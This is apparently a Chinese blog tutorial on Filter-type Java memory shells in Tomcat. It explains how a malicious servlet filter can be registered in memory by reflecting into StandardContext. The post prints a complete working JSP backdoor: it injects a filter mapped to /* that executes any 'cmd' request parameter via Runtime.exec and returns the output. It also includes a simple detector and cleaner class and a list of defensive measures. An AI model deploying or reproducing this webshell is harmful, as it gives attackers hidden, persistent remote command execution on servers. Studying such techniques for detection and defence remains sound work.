Java 内存马系列(三):Filter内存马——基于 Servlet-API 的隐蔽后门实现
2026/9/3 16:32:34 网站建设 项目流程

在Java Web内存马家族中,Filter型内存马是最早被广泛研究、也是实战中应用最广的一种。它不像Listener那样需要反射获取Response,也不像Agent那样需要操作字节码,直接拥有Request和Response的完整控制权,实现简单且稳定可靠。本文将深入剖析Filter内存马的实现原理、注入技术及检测防御策略。

一、Filter机制:为什么它是内存马的"黄金载体"

1.1 什么是Filter

Filter(过滤器)是Servlet规范中的核心组件,用于在请求到达Servlet之前或响应返回客户端之后,对Request和Response进行预处理和后处理。典型的应用场景包括:

  • 请求日志记录

  • 字符编码过滤

  • 权限验证

  • 数据压缩

Tomcat中的Filter通过FilterChain链式调用,一个请求可以经过多个Filter的处理。

1.2 Filter的触发流程

Filter在请求处理链路中的位置:

请求到达 → Listener.requestInitialized() → FilterChain → Servlet ↑ Filter在此执行

Filter的doFilter()方法接收三个参数:

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException

1.3 为什么Filter是内存马的"黄金选择"

与Listener和Servlet相比,Filter具有独特的优势:

特性FilterListenerServlet
URL映射支持/*通配所有路径自动拦截所有请求需精确匹配路径
Request/Response获取✅ 直接传递❌ 需反射获取✅ 直接传递
拦截404请求✅ 配置/*即可✅ 自动❌ 无法匹配
实现复杂度
隐蔽性极高
稳定性和兼容性

综合来看:Filter实现了"简单实现"与"高隐蔽性"的完美平衡。

二、Filter内存马核心原理

2.1 Filter的存储结构

Tomcat中,Filter的注册信息存储在StandardContext的三个核心字段中:

// org.apache.catalina.core.StandardContext private Map<String, FilterDef> filterDefs = new HashMap<>(); // Filter定义 private Map<String, FilterMap> filterMaps = new HashMap<>(); // Filter映射 private ApplicationFilterConfig[] filterConfigs = new ApplicationFilterConfig[0]; // Filter实例配置

三者关系

filterDefs (Filter定义)
├── filterName: "EvilFilter"
├── filterClass: "com.evil.EvilFilter"
└── filter: EvilFilter实例

filterMaps (URL映射)
├── filterName: "EvilFilter"
├── urlPatterns: ["/*"]
└── dispatcherTypes: [REQUEST, FORWARD, INCLUDE, ERROR]

filterConfigs (运行时配置)
└── 由StandardContext在启动时根据filterDefs和filterMaps构建

2.2 动态注册Filter的完整流程

// ========== 第一步:创建FilterDef ========== FilterDef filterDef = new FilterDef(); filterDef.setFilterName("EvilFilter"); filterDef.setFilterClass(evilFilter.getClass().getName()); filterDef.setFilter(evilFilter); // ========== 第二步:注册FilterDef ========== standardContext.addFilterDef(filterDef); // ========== 第三步:创建FilterMap ========== FilterMap filterMap = new FilterMap(); filterMap.setFilterName("EvilFilter"); filterMap.addURLPattern("/*"); filterMap.setDispatcherTypes(EnumSet.allOf(DispatcherType.class)); // ========== 第四步:注册FilterMap ========== standardContext.addFilterMapBefore(filterMap); // 添加到最前面 // ========== 第五步:启动Filter(使其生效) ========== standardContext.filterStart();

2.3 为什么filterStart()很重要

filterStart()的作用是FilterDefFilterMap转换为运行时使用的ApplicationFilterConfig

// org.apache.catalina.core.StandardContext.filterStart() public boolean filterStart() { // 遍历所有FilterDef for (FilterDef filterDef : filterDefs.values()) { try { // 实例化Filter Filter filter = (Filter) classLoader.loadClass( filterDef.getFilterClass()).newInstance(); filter.init(new ApplicationFilterConfig(this, filterDef)); // 保存为ApplicationFilterConfig ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, filterDef); filterConfigs.add(filterConfig); } catch (Exception e) { ... } } return true; }

注意:如果不调用filterStart(),Filter虽然被注册,但不会真正生效。

三、源码分析

3.1 查看super

断点位置:super.doFilter(req, res, chain);

按F7逐步调试,直到调试到ApplicationFilterChain类中的doFilter方法

在doFilter方法中,不论如何,最后都一定会执行internalDoFilter方法

3.2 执行internalDoFilter方法

我们查看filters,发现filter就装在这个filter里面,并且通过左边的调用堆栈能发现,执行了多次doFilter方法,跟下去就发现就是对filters里面装载的filter进行链式调用。

3.3 查看filters

我们查看filters,并找到filters赋值的地方

发现给filters赋值的地方在方法addFilter中,那么我们需要寻找addFilter方法又是谁调用的

3.4 查看addFilters

发现是filterChain调用了addFilter方法,继续寻找,是谁持有了filterChain

3.5 查看filterChain

发现filterChain实在方法createFilterChain中产生的,而createFilterChain是StandardWrapperValve类中被调用。

3.6 简单梳理

到这里,我们知道了如下流程

1.StandardWrapperValve类调用invoke方法,里面的关键代码

ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

2.ApplicationFilterFactory类调用了createFilterChain方法,里面的关键代码

// Create and initialize a filter chain object ApplicationFilterChain filterChain; filterChain.addFilter(filterConfig);

3.ApplicationFilterChain类调用了internalDoFilter方法,里面的关键代码

ApplicationFilterConfig filterConfig = filters[pos++];

3.7 数据来源

数据来源于context.findFilterMaps(),而我们发现这个context就是StandardContext,最终调试发现,数据为StandardContext的私有属性filterMaps

3.8 数据构造

构造filterMap,filterConfig和filterDef

3.9 总结实现Filter内存马的简要表述

综合以上源码分析,实现一个Filter型内存马的核心思路可以概括为以下三步:

  1. 构造数据:通过反射获取StandardContext实例,分别构造FilterDef(定义恶意Filter的类名与实例)、FilterMap(将Filter映射到/*路径)以及对应的ApplicationFilterConfig
  2. 注册数据:将构造好的FilterDefFilterMap动态添加到StandardContextfilterDefsfilterMaps中,使恶意Filter进入Tomcat的过滤器注册表。
  3. 触发生效:调用filterStart()让Filter真正生效。此后任意请求到达时,Tomcat都会从filterMaps中匹配到该Filter,将其加入过滤器链并执行恶意逻辑,从而实现内存马注入。

整个过程无需落地任何文件,仅通过反射操作运行中的StandardContext即可完成,这也是Filter内存马隐蔽性高、难以被传统文件查杀发现的原因。

四、代码实例

<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %><%-- Created by IntelliJ IDEA. User: JunKai Date: 2026/8/15 Time: 17:28 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! //定义恶意的filter public class shellFilter extends HttpFilter { @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; String cmd = req.getParameter("cmd"); if (cmd == null) { super.doFilter(req, res, chain); } else { Process process = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream(), "UTF-8") ); StringBuilder result = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { result.append(line).append("\n"); } reader.close(); response.setContentType("text/html;charset=UTF-8"); response.getWriter().println(result.toString()); response.flushBuffer(); return; } chain.doFilter(request, response); } } %> <% ServletContext servletContext = request.getServletContext(); //通过standardcontext拿到application Field applicationContextFiled = servletContext.getClass().getDeclaredField("context"); applicationContextFiled.setAccessible(true); ApplicationContext applicationContext =(ApplicationContext) applicationContextFiled.get(servletContext); //通过applicationContext拿到standardcontext Field standardContextFiled = applicationContext.getClass().getDeclaredField("context"); standardContextFiled.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext); shellFilter filter = new shellFilter(); FilterDef def = new FilterDef(); def.setFilterName("shell-filter"); def.setFilter(filter); def.setFilterClass(filter.getClass().getName()); FilterMap map = new FilterMap(); map.setFilterName("shell-filter"); map.addURLPattern("/*"); standardContext.addFilterDef(def); standardContext.addFilterMapBefore(map); standardContext.filterStart(); out.println("successs"); %>

访问filterShell.jsp

执行命令

五、检测与防御

5.1 检测方法

package com.memshell.detector; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class FilterDefender { /** * 检测Filter内存马 */ public static void detect(StandardContext ctx) throws Exception { System.out.println("[*] 开始检测Filter内存马..."); // 1. 检查FilterDef Map<String, FilterDef> filterDefs = getFilterDefs(ctx); for (Map.Entry<String, FilterDef> entry : filterDefs.entrySet()) { String filterName = entry.getKey(); FilterDef filterDef = entry.getValue(); // 检查是否可疑(动态生成的名称) if (filterName.contains("Evil") || filterName.contains("Malicious")) { System.out.println("[!] 发现可疑Filter: " + filterName); System.out.println(" Class: " + filterDef.getFilterClass()); } // 检查Filter类是否在classpath中存在对应的.class文件 String className = filterDef.getFilterClass(); if (!classExists(className)) { System.out.println("[!] 类文件不存在(内存马特征): " + className); } } // 2. 检查FilterMap Map<String, FilterMap> filterMaps = getFilterMaps(ctx); for (FilterMap filterMap : filterMaps.values()) { // 检查是否包含可疑的URL模式 String[] patterns = filterMap.getURLPatterns(); for (String pattern : patterns) { if ("/*".equals(pattern) && filterMap.getFilterName().contains("Evil")) { System.out.println("[!] 发现可疑Filter映射: " + filterMap.getFilterName()); } } } } /** * 清理Filter内存马 */ public static void clean(StandardContext ctx, String filterName) throws Exception { // 1. 移除FilterMap FilterMap[] filterMaps = ctx.findFilterMaps(); for (FilterMap filterMap : filterMaps) { if (filterMap.getFilterName().equals(filterName)) { ctx.removeFilterMap(filterMap); } } // 2. 移除FilterDef ctx.removeFilterDef(filterName); // 3. 重新启动Filter ctx.filterStart(); System.out.println("[+] Filter已清理: " + filterName); } private static Map<String, FilterDef> getFilterDefs(StandardContext ctx) throws Exception { Field field = StandardContext.class.getDeclaredField("filterDefs"); field.setAccessible(true); return (Map<String, FilterDef>) field.get(ctx); } private static Map<String, FilterMap> getFilterMaps(StandardContext ctx) throws Exception { Field field = StandardContext.class.getDeclaredField("filterMaps"); field.setAccessible(true); return (Map<String, FilterMap>) field.get(ctx); } private static boolean classExists(String className) { try { Class.forName(className); return true; } catch (ClassNotFoundException e) { return false; } } }

5.2 防御加固措施

防御层次措施说明
代码层限制StandardContext的访问通过SecurityManager限制反射操作
运行层HookaddFilterDef方法监控Filter注册行为,拦截可疑Filter
检测层定期巡检FilterDef/FilterMap与基线对比,发现异常注册
部署层禁用JSP编译生产环境限制JSP上传和执行

六、三种Servlet内存马对比总结

维度FilterListenerServlet
URL映射/*通配自动拦截需精确匹配
Response获取✅ 直接❌ 反射✅ 直接
拦截404请求
实现复杂度
隐蔽性极高
注册APIaddFilterDef+addFilterMapaddApplicationEventListeneraddServlet+addServletMapping
启动方法filterStart()无需额外启动servletStart()
优先级控制addFilterMapBefore/addFilterMap按注册顺序按URL匹配规则

七、总结

Filter内存马利用Servlet规范的Filter机制,通过动态注册恶意Filter实现命令执行。其核心攻击链路为:

  1. 漏洞触发 → 获取代码执行能力

  2. 反射获取StandardContext容器对象

  3. 创建实现Filter接口的恶意过滤器

  4. 构建FilterDefFilterMap并注册到StandardContext

  5. 调用filterStart()使Filter生效

  6. 携带特定参数访问任意URL触发命令执行

关键优势:Filter内存马直接拥有Request和Response的完整控制权,实现简单、兼容性强,是实战中最常见的内存马类型。防御的核心在于对StandardContextfilterDefsfilterMaps的访问控制和行为监控,以及对addFilterDefaddFilterMap等关键方法的运行时Hook检测。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询